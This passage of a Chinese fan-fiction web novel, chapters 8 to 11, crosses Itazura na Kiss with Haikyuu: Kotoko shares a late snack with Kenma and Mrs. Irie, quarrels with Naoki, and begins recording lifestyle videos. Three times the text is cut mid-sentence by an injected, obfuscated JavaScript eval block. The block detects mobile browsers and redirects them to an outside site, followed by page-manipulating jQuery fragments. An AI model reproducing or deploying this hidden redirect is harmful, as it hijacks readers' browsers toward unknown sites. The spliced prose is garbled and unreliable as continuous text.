胡思乱想中，一道清冷的声线将她的思绪拉回。 明明语气依旧很淡，没什么起伏，却像带着某种安定人心的力量。 “那说不定这一次就会发生好事了。” “嗯？”她撇头看去。 孤爪研磨重复了一遍，“说不定这一次就会发生好事了” 相原琴子笑问，“原来前辈也相信这些啊。” “不相信。” “什么呀，那刚刚的安慰不是完全没有信服度了吗？” 孤爪研磨踌躇着开口，声音里带着点不确定的试探，“那我现在相信？” “……” 相原琴子沉默着低下了脑袋，额前的碎发遮住了眼睛，但一耸一耸的肩膀暴露着她在偷笑。 孤爪研磨本想继续装作无事发生，但她的笑容仿佛具有魔力，让他也没有忍住随着一同笑了起来。 嗯，他今天笑的次数，好像比过去一个月加起来还要多了…… 而相原琴子再度确信了。 研磨前辈真的是很好很好的人。 又大方，又厉害，还温柔。 能遇到他真的是一件非常幸运的事情！ 她抬起头，再次看着流星消失的地方，声音很轻，“如果是前辈这么说的话，那我就再相信一下流星会带来的好运吧。” 在她身侧，孤爪研磨看着她微微仰起的侧脸，路边昏黄的灯光打在上面，映出柔和的轮廓。 他的手指无意识地蜷了蜷。 不知不觉中，两人漫步到了入江宅门口，从外面看上去，客厅的灯还大亮着，暖黄的光线透过纱帘漫出来，散发着暖意。 相原琴子停下脚步，她抬手理了理被风吹乱的刘海，脸上还带着长时间走动后的红热，“那我就到这里啦，研磨前辈也早点回去休息吧。” 说着便扬起手，准备挥手告别。 就在这时，一道轻柔的女声传了过来，带着点疑惑和惊喜。 “琴子？” “还有，这一位是？” 8. 第8章 宵夜 “阿姨！” 相原琴子回头，果然是好久没碰过面的入江妈妈。 最近她们一个出门兼职很晚回家，一个天天都留在医院陪护住院的入江爸爸。虽是生活在一个家，却又总是错开。 上一次见面还是她与入江妈妈商量要不要接受小黑前辈的邀请来做这份兼职的时候了。 入江纪子难得今天早些回来休息，正打算给晚归的孩子们准备夜宵，没想到竟然能从窗户瞥见琴子正和一个陌生的长发少年站在门外说话。 她冲着琴子眨了眨眼，眼底藏着几分促狭的笑意，又好奇地瞥了一眼那位陌生的少年。 “这位是？” “是我和之前伯母说过的住附近的主播前辈！” 入江纪子听琴子说完，先是愣了两秒，随即夸张地抬起手置于脸颊两侧，作震惊状。 “啊啦，这就是琴子提过的……” 见对方欲言又止，孤爪研磨上前一步自我介绍。 “您好，我是孤爪研磨。” “是研磨君啊。” 她拖长了语调，眼睛弯了弯，声音里满是藏不住的笑意。 “你们回来得正是时候，我刚好在打算做夜宵呢！” “诶？真的吗？好期待。” 相原琴子眼睛瞬间亮了起来，一脸惊喜地往前凑了两步。 最近她总是在前辈家解决晚餐，因为两人都不擅长料理，往往就是预约的外送或者外出去餐馆吃饭，生活得极度质朴。 她已经好久没尝到伯母亲手做的料理了。 “因为预感到琴子快回来了，所以材料我都准备好了哦，快进门吧。还有，研磨君也快进来。” 说着入江纪子挽着琴子的胳膊先上前了几步，见孤爪研磨在原地不动，她又同他也招了招手。 “我就不……” 虽然他刚刚才说过没有之前那么怕生，但忽然去陌生人家吃饭什么的对他来说还是太超过了。 光是想想就已经要窒息了。 但还没等他拒绝，两道亮闪闪的眼眸同一时间正对着他。 …… 拒绝的话语完全说不出口。 他对星星眼这一招向来没辙。 无奈应下，“那就打扰了……” 拖着纠结的步伐跟着两人进入入江宅，一抬头他就见琴子已经兴冲冲地帮他准备好了拖鞋并且拉开了餐椅，彻底断了他的退路。 入江纪子系着围裙站在料理台前，手里还拿着袋面粉，歪头看向客厅里的两人。 “琴子，研磨君喜欢吃松饼吗？不喜欢的话我在准备别的哦。” 接收到来自阿姨的指令，相原琴子赶忙转身询问，语气里带着点不确定，“前辈？” 孤爪研磨正垂着眼眸，做得端端正正，闻言才缓缓抬头，瞥了一眼料理台上已经准备好的面糊，他温吞地回答：“松饼的话，是喜欢的。” “收到！”入江纪子充满干劲。 空气忽然沉闷下来。 他本想拿出手机缓解一下身处陌生环境带来的尴尬情绪，但琴子根本没给他这个机会。 只见她一脸担忧地望向他，“前辈真的不介意吃松饼吗？” 他默默收回对着手机蠢蠢欲动的手，“嗯……甜食都还挺喜欢的……” 相原琴子若有所思，“那下次从放学我可以带甜品到前辈家当下午茶。前辈有什么特别喜欢的吗？” 她还以为像前辈这种类型基本上都会喜欢大人感一点的苦味呢。 “都可以……特别的话就苹果派吧……” 对方一个接一个的问题不断向他抛来，眼神一如既往晶亮，热情得像小时候邻居家那只一直喜欢贴着他的狗狗。 这让有着猫猫属性的他很不适应。 皱了皱鼻子。 但他不讨厌这种感觉。 好在入江阿姨的动作很快，没过多久就呈上了热气腾腾的松饼，这让他暂时松了口气。 “松饼来啦！” 相原琴子瞬间停下了对他的连环追问，视线从他身上移开。 他因为受到持续不断注视而有些僵硬的身子松了下来，同时一股难以言表的失落感油然而生。 好像不仅仅是不讨厌…… 他这样想着。 “哇！看上去很好吃的样子！” 在手上合十说完“我开动了后”，相原琴子就迫不及待地叉起一块塞进嘴里，鼓着腮帮子嚼得飞快，眼睛眯成了月牙状。 入江纪子坐在对面，双手托腮，手肘支在餐桌上，满脸幸福地看着琴子一口接着一口。 三人时不时就着的近况聊着天。 只要是关于琴子的事情，入江纪子都会很感兴趣。几乎是对方说一句，她就跟着接一串夸赞，弄得最后相原琴子都些不好意思。 “不过今天有和前辈一起直播打游戏哦！虽然玩得不太好……” “天呐，可惜阿姨没有看到呢……” 聊到这边，一直怎么说话的孤爪研磨突然出声，“直播的话，我那边都有存档，可以传给阿姨。” “那也太好啦！” 两人顺势交换了LINE账号。 一边拿出手机接收着孤爪研磨那边传来的视频，入江纪子继续喋喋不休。 “下一次直播的时候琴子一定提前要告诉我哦。阿姨会在直播间蹲守，给你加油打气的！” “好呀好呀！下次我一定会好好加油，让阿姨看到我帅气的一面。” 相原琴子也总是乐得配合她。 说着，她还做加油手势，一副要一展宏图大志的样子。 解决完夜宵，没有再待太久，孤爪研磨就提出了告辞，接着百般推辞了两人的不断挽留以及送客的请求，三人才在玄关处做了道别。 在呼吸到外面空气的那一刹那，他整个人都放松了下来。 果然还是这样的环境更适合他。 习惯性的拿出手机刷着，发现他的line被轰炸了，被那个他笑得一脸开朗的视频。 …… 不仅有小黑贼兮兮的调侃，还有父母发来的关心，甚至远在巴西的翔阳都给他发来了问候。 他盯着屏幕皱了皱眉，不知道他们网速怎么会这么快，大半夜还在关注他的消息。 果然，他就知道会发生这种情况。 选择性回复了父母和翔阳的问候，至于还在不断给他发信息的小黑。 他选择已读不回。 就在他回复消息的间隙，一道黑色的身影与他擦肩而过，余光瞥见那道身影步履匆匆地拐进了他刚刚离开的那间房屋。 孤爪研磨动作顿了顿。 找到了那个名为「Kotoko」的聊天框，编辑了一条消息。 “下一次的游戏我已经决定好了。” 发送。 继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171749|180707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续往回家的方向走去。 * 入江宅餐厅。 在孤爪研磨离开后，入江纪子渐渐收起脸上的笑容，眼角的细纹在灯光下显得格外清晰，脸上带着一丝难以掩饰的惆怅。 她靠在料理台边，看着琴子在客厅里轻快地帮忙收拾餐桌，嘴里哼着不成调的歌，眼中划过一丝不忍。 迟疑片刻后，她终于还是选择开口叫住了琴子，声音比平时低了些，问出来那个一直困扰着她问题。 “琴子……最近开心吗？” 抬头瞥见入江阿姨欲言又止的表情，相原琴子停下来了手中的动作。 她自然知道对方在担心什么。 无非就是自己跟入江君的事情。 但走到今天这一步，从来都不是入江阿姨的错。 没多说什么，她放下刚刚堆叠整齐的餐盘，轻轻走过去，将入江阿姨拉到沙发上坐下，自己则挨着她靠过去，把头缓缓靠在她的肩上。 静静地感受着从对方身上传来的温暖，良久她才开口。 “现在每天都有很多新的事情等着我去探索，所以我很开心哦。阿姨也不用为我担心。” “是这样啊……” 喃喃地说了无数个那就好，她的声音里还带着未散的哽咽。 “还有哥哥的事情……真的很对不起……” “阿姨不用和我道歉的，这本来就是我和入江君两个人的事情。” 知道这是绕不开的话题，相原琴子也没有避讳说出自己真实的想法。 “本来就是我自己一厢情愿，所以这个结局我也能接受。” “而且我现在真的没有很在意了！我发现除了爱情之外我还拥有很多别的东西，就像和纯子他们的友情还有和阿姨之间的亲情。” “还有了新的朋友，自己的工作。” “所以我没有再伤心了。” “我有在为了未来好好努力，所以也希望阿姨可以为我加油。” 她也很开心自己能有这样的改变，虽然目前还没有改得掉毛手毛脚的坏习惯，也没有找到真正想做的事情，但她已经踏出第一步了。 有在好好做打算了。 入江纪子无声地抹了一把眼角，笑着回复，“我当然会的。” “琴子长大了呢……” 相原琴子笑道，“我当然有在长大……” 入江纪子刚想再说些什么，咔嚓一声，门锁转动的轻响打破了客厅的祥和。 入江直树推门进来，还带着一路疾行的粗气。 视线扫过客厅，当看到沙发上正和母亲低声聊天的相原琴子时，他紧绷的身形忽然就松弛下来，涌上一股莫名的安心。 他从远处就看到客厅的灯还亮着，那时就隐约猜到，大概今天能与她遇见。 果然，她还在。 “哥哥回来呀。” 见直树一脸疲惫，入江纪子连忙起身，给他去厨房倒了一杯温水。 “嗯。” 入江直树接过喝了一口，接着平复着喘息，径直走到单人沙发坐下，面对着琴子。 “你们在说什么这么开心？” “还有，今天家里是来客人了吗？” 他敏锐地注意到了餐桌上摆放整齐的三个餐盘。 不可能是早早就睡着的裕树解决的，也不可能是对甜品不感兴趣的相原爸爸。 所以，是谁？ 9. 第9章 对峙 “是刚刚琴子的朋友来做客了哦。” 琴子的朋友？ 入江直树低垂着眼眸。 他知道从高中起就两个一直跟着她身边的女生，名字他已经记不清了。 但她们向来都是三个人同进同出，鲜少会有一个人来找她的情况，应该不可能是她们中的一位。 那么能知道这个地址，并且会在半夜单独来找她的，也就只可能是那个钦慕琴子的池泽金之助了吧。 每逢想到那天晚上那位少年气势汹汹地来找他对峙，宣称要从他手中“保护好琴子”，他的心头总是不悦的。 理智告诉他，在有了和大泉纱穗子订婚的打算后他应当就如同自己嘴上所说的那样也琴子保持距离。至少在他处理完公司的事情之前，他必须要做到这一点。 但从感情上，他又隐隐地害怕真的会如同池泽所说的那样，在这一期间他会彻底失去琴子。 他想控制着自己离她远点，这样说不定他就能回到从前那个对什么都漠不关心的入江直树。 可以仅仅是因为公司的存危就去和一个不爱的人结婚。 可以单纯地通过衡量万事万物的价值做出决定。 是他先声明让相原琴子离他远些。 可当她真的做到了这一点，他却开始想每天和她碰面，怀念着她过去追逐着自己的日子…… 笼罩了他数日的烦躁感让他有些有些透不过气，他的语气自然有些不耐，带着未加掩饰的冷硬。 “不会是池泽吧？” 相原琴子不明白入江君为什么要在这个时候忽然提到阿金，但她并不喜欢对方那种明显轻蔑的语气。 从高中到现在，他在对着阿金时总是带着一股高高在上的态度。 哦对，或许这种态度不仅仅是对着阿金，还是对着她的。 但不管怎么说，就算阿金不是她喜欢的人，但也是她非常宝贵的，不容被诋毁的朋友之一。 是她早在和入江君开始有交集就认识的非常珍贵的友人。 她眉头紧皱，语气中带着一丝愠色，也歇了想要与他解释来人的欲望。 “是阿金又怎么了吗？” 她没有否认。 也就是他说对了？ 果然就是池泽金之助。 那天晚上的对话又开始在他的脑海中不断重播，一股隐隐的不安在他的胸腔里面不断发酵，沉甸甸的，不断地下沉。 但表面上，他还是那个冷酷的，嘴上从不留情的入江直树。 “没，看来你们最近的关系很不错？” 对方差劲的语气让相原琴子拿不出什么好语气对着他，她半带着赌气回复，“我和阿金一直关系都很好，比和你的关系好多了。” 比和他的关系好…… 反复品味着这句话，忽然他的心脏像被细密的针轻轻扎了一下，泛起细微的疼。还没等他理清那股莫名的情绪，只听相原琴子继续说着。 “哦对，明天我们还会去一起看电影。” 他听出来了，她是在故意激他。 而他也确确实实被这种小学生式的挑衅给激怒了。 压下心中莫名的情绪，他扯出一抹冷笑。 “也是……毕竟你们这种层次也就这能做这种事情了。” “啊啦，哥哥！” 这番发言就连在一边本不想打扰两人交谈的入江纪子都有些听不下去，低声斥责了直视一句，她又紧张得看了一眼另一张沙发上的琴子。 出乎她意料的，这一次琴子的表情异常镇定，没有预想中的慌乱，也看不出受伤的情绪。她只是轻轻地点了点头，嘴角的弧度甚至比以往还要深。 “是哦，没错哦。所以我们一个层次的人就一起玩好了。” 甩下这句话后，相原琴子抿了抿嘴唇，忍住怒气，但还是对着一旁的入江阿姨挤出一抹笑容。 “谢谢阿姨今天的夜宵，那我就先上楼了，晚安。” “对不起琴子……”入江纪子拉住她，还想同她解释些什么，“哥哥他……” 相原琴子回握住她的手，摇头了摇头，“我没事的。” 见琴子没有要继续聊下去的意思，入江纪子也不好意思再说什么，只能无奈地瞥了眼背对着她们不知道在想些什么的入江直树。 她不明白事情怎么会发展到今天这样的地步，明明前段时间两人的关系是那么的亲近…… 憋着一肚子的火回到房间，相原琴子趴一下就将自己扔在了床上，脸埋进柔软的枕头里，使劲踢了踢腿宣示着内心的不满。 冷静下来后，那股愤怒渐渐退去，取而代之的是一阵闷闷的难受，堵在胸口，让她无法呼吸。 可奇怪的是，这难受里还裹着一股拨开愁云间朗日的莫名畅快。 她长舒一口气，正准备收拾衣服洗澡，忽然想起刚才在楼下她的手机震了一下。 打开聊天页面。 是来自研磨前辈的LINE，告诉她了下一次打算直播的游戏。 但她现在实在提不起劲与任何人交流，哪怕那个人是研磨前辈。 简单回复了个OK的表情包，她就将手机草草扔到一边。 另一边，孤爪研磨书房。 在听到手机消息的提示音后，他不紧不慢地打开了与琴子聊天页面。 看着对方发来的比着OK手势的憨态可掬的小白熊，一抹笑意蔓上了他的眼眸。 比对了一眼时间。 她的回信离他送信的时间仅隔了短短的十五分钟。 笑意逐渐加深。 看来没有聊得太久呢…… * 第二天，相原琴子天一亮就早早便起了身，经过了一晚上的睡眠，昨日的负面情绪差不多已经被她排解干净了。 不就是和入江君吵了个架吗？ 这也没什么大不了的。 反正他们接下来的人生也不会有太多的交集了。 今天又是新的一天，还有好多事情等着她去做呢。 听从研磨前辈的建议，她将手机架在了一个合适的角度，准备将自己的一天完整地记录下来。 首先是化妆。 她平时往往都是卡着时间起床，妆容也是简单地通勤妆，但是今天面对着镜头再加上时间还早，她下意识地就把妆容画得更精致了些。 接着打开衣柜翻了半天，挑出一身适合出行的白色娃娃领上衣与浅粉色蓬蓬短裙，再搭配上和衣着相适配的珍珠耳钉和银色手链。 对着镜子转了半圈，她想了想，又搬过椅子坐下，将乌黑的长发灵巧地编成麻花，再一圈圈盘在脑后，固定成往日最喜欢的那款麻花盘发。 做完这一切，她对着镜子里的自己满意地弯了弯眼，才缓缓下楼。 奇怪的是，向来很早出门的入江君今天居然还待在客厅里慢悠悠地喝着咖啡。 但她不想与他搭话。 简简单单吃过早饭后，她视若无睹地出了门。 学校的日常一如既往的平淡，昏昏欲睡地上完了她不感兴趣的课程，再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171750|180707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在食堂里解决了阿金给几人准备的丰盛午餐，他们便出发前往电影院。 一路上，她与三人分享了自己录视频的缘由以及现在所从事的兼职。 大家纷纷表示震惊，却也表达了对她的支持，甚至不约而同一起关注了研磨前辈的账号。 “琴子的话，一定做什么都可以的。” 只是阿金的原话。 新上映的电影说不上特别好看，但也并不难看，充其量只能说的普通。 这并不影响几人的好心情。 另外逛了街，买了些精致的小饰品，又找了个家好看的餐厅拍了照片。 是平静且充实的一天。 也是她以往每天都在过着的日子。 回去的路上，纯子和理美时不时回头朝两人挤眉弄眼，明里暗里撺掇着阿金送琴子回家，但相原琴子并没有拒绝。 她也有话想对阿金说。 关于他对自己的感情。 以及她不能回应这份感情。 也是时候该道破这一点了。 对于可以陪伴琴子回家这件事，池泽金之助显然是欣喜的，走路时的脚步都带着难以掩饰的轻快。 整段路上，他都一直在偷瞄身边那位始终挂着淡淡笑意的少女，一看到她的笑容他就觉得整颗心都柔软了下来。 “琴子，最近开心了很多？” “诶？是吗？”相原琴子转头看他。 “嗯，很明显的开心。是因为你说的那份新工作吗？” “硬要说的话，应该是哦。” “果然……虽然我对那些都不了解。但只要琴子开心，那我也开心。”池泽金之助想也没想就接道，语气直白又热烈。 少年头发总是喷着厚重的发胶，高高竖起，穿着也往往都是狂放的风格。本应该显得意气风发，但面对她时脸上却总是带着傻气。 相原琴子一愣，犹豫着开口。 “阿金，我……” “琴子。”见琴子表情变动，少年似乎意识到了她想说什么，立马出声打断。 他指了指回去的路，笑容有些牵强，“我……待会还要去师父的店帮忙，就只能送你到门口了。” “如果，琴子有什么事情需要我帮忙。或者是心情不好的时候，都可以来找我。” “那……再见？” 说到最后，他瘪了瘪嘴巴，眼神躲闪着，甚至没等琴子回答就跑开了。 “再见……” 少年跑得飞快，很快就不见了身影，她最后只能对着空气喃喃道了一声别。 她站在原地，抬眼看了看天边清丽的月亮，弯弯的一弧，没有满月时那般盛气凌人，却也依旧美丽。 掏出手机按亮屏幕，已经八点多，但她并不觉得太晚，平时这个时候她正开始工作呢。 想了想，她决定调转步伐往孤爪宅走去。 因为不想撞见入江君，所以干脆再晚一点回去吧。 没有在门口多逗留，输入密码，开门，往书房的方向走去。 里面的灯光一如即往开得很亮，书桌前半扎着头发的研磨前辈依旧喜欢穿着黑色的服饰，只是因为季节的变化从卫衣换成了短袖。 他难得没有盯着电脑，而是面无表情地刷着手机。 明明是单调的画面，却让她觉得这么的温馨。 她出声惊扰，“晚上好前辈。” 少年有些讶异她的忽然出现，但也只是眉头轻轻一挑，很快就恢复了往日的淡定。 “晚上好？” 10. 第10章 回看 “不是说今天要和朋友出去玩吗？” 见她来了，孤爪研磨也不急着继续处理手上的工作，往后靠到电竞椅上，随口问道。 “所以现在是已经玩完回家的状态。”相原琴子晃了晃手上的战利品。 她熟门熟路地走到书桌旁那张属于自己的专属座椅旁，拉开椅子，学着孤爪研磨的样子重重地靠在椅背上。 “玩得开心吗？” 相原琴子下意识地摸了摸自己的脸颊，她忽然发现最近问她是否开心的人好像很多。 入江阿姨昨天问了她，阿金今天也问了她。 现在又是研磨前辈。 她能笃定，在入江阿姨和阿金的询问里，都裹着实实在在的关心。 那是不是也能假设，前辈的这句问话里也同样藏着对她的关心。毕竟如果是刚认识那会儿，前辈是肯定不会问这种话的。 那么也就是说她和前辈的关系有在一步步变好？ “很开心哦。”这样想着，她对着对方漾起一抹灿烂的笑容。 奇怪的是，往日向来不太习惯视线接触的研磨前辈这次并没有回避，而是直勾勾地回视着她。 她懂了。 果然是因为她和前辈的关系变好了！ 就像她见过前辈和小黑前辈聊天时，眼神坦然又放松，从来不会像对她那样刻意回避视线。 现在她应该也同样被对方纳入了那个范畴之内。 这样的认知不由让她心情愉悦。 “之前答应前辈的视频也还没剪完呢。反正回家也没有事情做，就想着再过来打发一点时间。” 当然最主要的还是她怕太早回家会又会遇到入江君。 昨天的争执让她不知道该怎么跟他相处。 逃避虽然可耻，但真的很有用。 孤爪研磨看着她开电脑的动作，缓缓开口，“那个的话，不用太着急也没事……” 相原琴子摇了摇头，“已经答应前辈了，那我就要好好完成。” 电脑的开机需要一定的时间，在等候的间隙里她忽然想起来了一件重要的事情。 “哦对了。今天有听从前辈的建议，把我的一天记录下来，准备打算回到家完整地看一遍。” 孤爪研磨的视线落在她脸上，声音不紧不慢，“既然录好了的话，那就直接在这边看吧？”他顿了顿，继续补充道，“我和你一起看。” “诶？？和前辈一起看吗？” 相原琴子一个后仰，大大的眼睛瞪得溜圆，瞳孔里写满了震惊。 “嗯。是有我不能看的东西吗？” 他语气平淡，眼神里带着点恰到好处的疑惑，像是在不解她的反应。 “那倒是没有啦，就是……” 怎么说，虽然她觉得还算称得上是外向。 但在熟悉的前辈面前一起看关于自己日常的视频还是会不免有些羞耻。 而且她不能确定自己在视频里有没有什么奇怪的举动。 但考虑着研磨前辈估计会有不一样见解，她还是接受了这个提案。 “那我们就用我的手机看？还是用别的？”说着，她哆哆嗦嗦地献上自己的手机。 她的手机屏幕不大，平时用着还行，但要两个人一起看确实不太方便。因此孤爪研磨没多犹豫，伸手接过她的手机，连接线轻轻一插，动作利落地将影片导到了他面前的电脑上。 拍了拍身边的椅子示意她坐下，没有多言，直接点开第一个视频。 进入画面是一片粉色的海洋，充斥着各种少女感的装饰，是入江阿姨帮她准备的房间，以及她一张硕大无比的脸蛋。 因为需要打开录制键，她不得不凑得离镜头很近，鼻尖几乎要碰到屏幕边缘。 镜头的畸变让她的脸惨不忍睹。 不忍直视。 好在录视频的目的只是单纯地记录她的一天，因此除了第一个镜头外她没有将镜头直直地怼到自己脸上，而是保持了一定的距离。 录制下来的内容很平淡，就是她对着镜子按部就班描摹的场景，期间也没有任何与镜头的互动，有的只是偶尔瓶瓶罐罐的撞触声。 由于镜头放在她的侧边，大部分时候她只能看到自己的侧脸，只能凭借最后补上的睫毛膏和腮红看到一丝妆效。 接着就是发型。 因为是她扎得颇为熟练的一款造型，所以她处理起来格外利落。 先是将散落的分成两股黑发拢到耳后，随后双手交叉，将头发在各自拧成一股紧实的麻花，顺势向上翻转，一圈圈绕成圆润的发团。 依旧是很普通的画面。 就连相原琴子自己看着都觉得有些枯燥，她本想跳过或者是快进这一段，但在看到对方盯着屏幕若有所思的样子，她识趣地闭上了嘴。 如果是研磨前辈的话，一定会发现什么她自己注意不到的东西吧。 视频中的她镜子对着侧了侧头，抬手拨了拨鬓角垂落的两缕碎发，让它们自然地贴在脸颊旁，看上去颇为满意的样子。 等等，好像有些不秒。 她好像记得接下来好像…… 下一秒，她的大脸又出现在屏幕中，开始对着手机镜头臭美地比了几个Wink。 好丢人！ 她双手遮住了自己的眼睛，试图掩耳盗铃。 透过指缝，她偷看了一眼研磨前辈的表情。 嗯，没有什么表情。 果然前辈不愧是专业的。 好不容易熬过这一长段，剩下的几个视频都只是零星的几个片段。 受限于技术和设备，画面拍摄得非常抖动，背景充斥着各种嘈杂声，总体而言就是毫无美感。 就连她上课时打瞌睡的视频都还在里面，脑袋作小鸡啄米状一点一点的。因为硬撑着眼皮，还翻了几个白眼。 虽然只录了小小一段她就反应过来按下了暂停键，接着安心陷入了更深度的睡眠之中。 但问题是醒来后她就忘记把这一趴删掉了！ 不过丢脸这种事情丢着丢着她也就习惯了…… 怎么可能！还是很丢人的好吗？ “扑哧。” 孤爪研磨看笑了。 怎么回事前辈，你不是专业的吗？ 刚刚不是忍得很好吗，怎么忽然就憋不住了呢。 相原琴子跟着干笑了两声，无力地枕在靠椅上，感觉自己已经身无可恋了。 “很有趣。” 来自孤爪研磨的评价。 他很快就调整好了脸上的表情。 很快又切换到了下一个视频，眼见里面开始慢慢她的朋友们，为了方面前辈理解，她一一做了介绍。 “这几位是我的朋友。短头发的是纯子，长发的是理美，还有一位是阿金。我们从高中起就是很好的朋友了。”语气里满是亲昵。 “现在都还在一所学校真的很巧呢。” “因为我们都是直升。” “为什么这个男生穿着厨房的服装，是他的兴趣？”孤爪研磨抬眼看向她，像是在真的好奇。 相原琴子解释，“阿金的话其实没有考上大学，现在正在我们食堂做兼职。哦对，他还是我父亲料理店的实习厨师呢。” 觉得介绍的不够，她还另外着补了一句，“阿金做的料理真的很棒，完全不逊色真的厨师。” 长发主播拖长语调“嗯”了一声，没有接话，却目不转睛地盯着画面中那位陌生少年。 出镜的明明有四人，他却明显能感受到那位名叫阿金的男生仅对琴子表现出过分的殷勤。 不仅是因为对方随口挂在嘴边的琴子的名字，更是因为他时时刻刻都在向琴子所在的方向贴近。 孤爪研磨放在指尖在鼠标上顿了顿，目光落在画面里琴子被逗笑时弯起的眉眼上，屏幕的反光让他的眼神显得有些模糊。 视频播放完毕，因为他没有点击播下下一个，于是系统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171751|180707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默认从头播放了一遍。 相原琴子虽然不知道为什么这个在她眼中没什么可取之处的视频会受到研磨前辈的另眼相待，但也耐着性子陪他在看了一遍。 直到视频重新播放了第三遍。 她忍不住提醒道，“前辈？” 孤爪研磨这才像是回过神来，抬手点了下鼠标，“没事，我们继续看下一个吧。” 半晌，终于把这些视频一一看了个遍，相原琴子这才松了一口气。 还好后面的画面都比较正常，要是再出现那些奇怪的表情，她都感觉自己能当场找个地缝钻进去。 “琴子，觉得怎么样？” “感觉就是很普通的一天呢……就像网上随处可见的大学生生活？” “欢迎呢？” 相原琴子绞尽脑汁，但只能回忆起第一个过分长的视频。 “还有就是我发现原来我早上要花这么长时间准备出门！难怪时间总是来不及。” 闻言，孤爪研磨若有所思地点了点头，一个想法呼之欲出。 相原琴子眨巴了两下眼睛，试图从这位经验充沛的前辈这边讨要一些评价。 “研磨前辈呢？有什么想法吗？” “唔……感受就是，琴子的编发果然相当复杂呢。” “嗯？？？” 这么多的视频，感受就是这个？？ 原来她的发型很复杂吗？ 因为从高中时期就习惯了这个发型，她处理得很顺手，也没有考虑过复杂不复杂的问题。 相原琴子虽然不理解对方的脑回路，但碍于对方在这方面的权威性，她还是老老实实地解释了为什么要做这款造型。 “我从小时候开始就很喜欢这种这些。” “不管是编头发，还是研究穿搭，就连上课用的笔都喜欢买可爱的类型。” 孤爪研磨点了点头。 他在看视频的时候就发现了。 她在上课的时候摆在一边的那些奇奇怪怪的笔是他这辈子都不可能去买的东西。 但是他心中的想法随着对方的解释说明被进一步的肯定。 “之前有和琴子讨论过去做你喜欢做的事情。” 相原琴子嗯嗯了两声，侧头耐心地倾着。 “因为我自己有在做主播，所以我的思维模式可能有些固化，接下来我所说的也只是我的一些建议，琴子可以只当是一个可以参考的角度。” “我在想，如果琴子愿意的话，可以试着分享你的这些方面。” 孤爪研磨的视线从屏幕移开，落在她乌黑发亮的眼睛上，语气认真，“不管是以大学生还是别的什么做标签，应该都会受欢迎……” 他顿了顿，接着补充道，“当然这一切的前提，都得基于你自己是真的喜欢，也是真的愿意去分享这些。” “因为会受欢迎也只是我的猜测。如果一切都只是以利益为出发点的话，可能结果反而会不尽人意……” 他的想法很简单，喜欢这些时尚新奇的东西又怎么不算是一个爱好呢。 既然是喜欢的东西，那么无论是世俗上的高贵还是别的，都值得去深究，去钻研。 网络分享只是其中的一个渠道，如果可以用自己喜欢的事情赖以生存那么何乐不为呢。 他自己一开始开始尝试做视频，做直播，也无非是出于喜欢二字而已。 相原琴子看着对方，眼里闪烁的期待，混合着紧张，还带着一点跃跃欲试。 “我喜欢这些！” 似乎觉得她的诚意还不够，她又继续补充道，“我想试着去做做看！不管结果是怎么样！” 她的声音带着点少女特有的清亮，连带着书房里的空气都仿佛变得轻快起来。 孤爪研磨的眼神瞬间软了下来，金色的眼眸漾着光芒，在视线落在相原琴子身上时，带着一种近乎纵容的温和。 “那，明天也要来我家吗？” “我有东西想要给你。” 11.第11章 录制 临近暑假，天气开始燥热起来。午后的阳光泼洒在柏油路上，蒸腾起一层模糊的热浪。马路两边的蝉鸣不知疲倦地鼓噪着，一声叠着一声，笼罩着整座城市。 和往常一样相原琴子一下课就往孤爪宅赶去，还绕路去了一家人气蛋糕店买了前辈喜欢的苹果派作为下午茶的点心。 但一进门就发现，她的座位被一台黑漆漆的相机以及打光灯包围了。 “下午好，研磨前辈……诶？这是什么？” “闲置的相机，还有打光灯。” 她当然知道认识这些东西，只是好奇为什么这些东西会出现在她的桌子面前。 这难道就是研磨前辈说的要给她的东西吗？ 收到对方投来的不解视线，孤爪研磨作出解释。 “昨天说的视频，琴子可以就在这边录制。” “真的可以吗？” 相原琴子表示震惊。 “嗯。回家录的话也可以，但琴子每次回去都会已经很晚了吧。” 确实如此，如果是需要直播的日子的话，她每次回家都差不多要到深夜了，她昨天也在纠结如何挤出时间做这件事情。 话虽如此，但当着前辈的面录视频什么的，还是有点……尴尬…… 但随即转念一想，也不是不行，反正前辈大部分时候也都带着耳机认真工作，白日里基本上很少向她这边投来视线。 她抿了抿唇，大眼睛扑闪了两下，很快做出了决定。 “那就打扰前辈了！” 正如她所料的，研磨前辈就这么单单和她说了两句话就将注意重新集中回他手头的工作上，没有再往她这边再投来目光。 不过在这个时候，这种被人忽视的感觉可真是太好了！ 她边捣鼓着新得到的礼物，边构思着自己的第一个视频。 是关于好物分享，美妆，还是…… 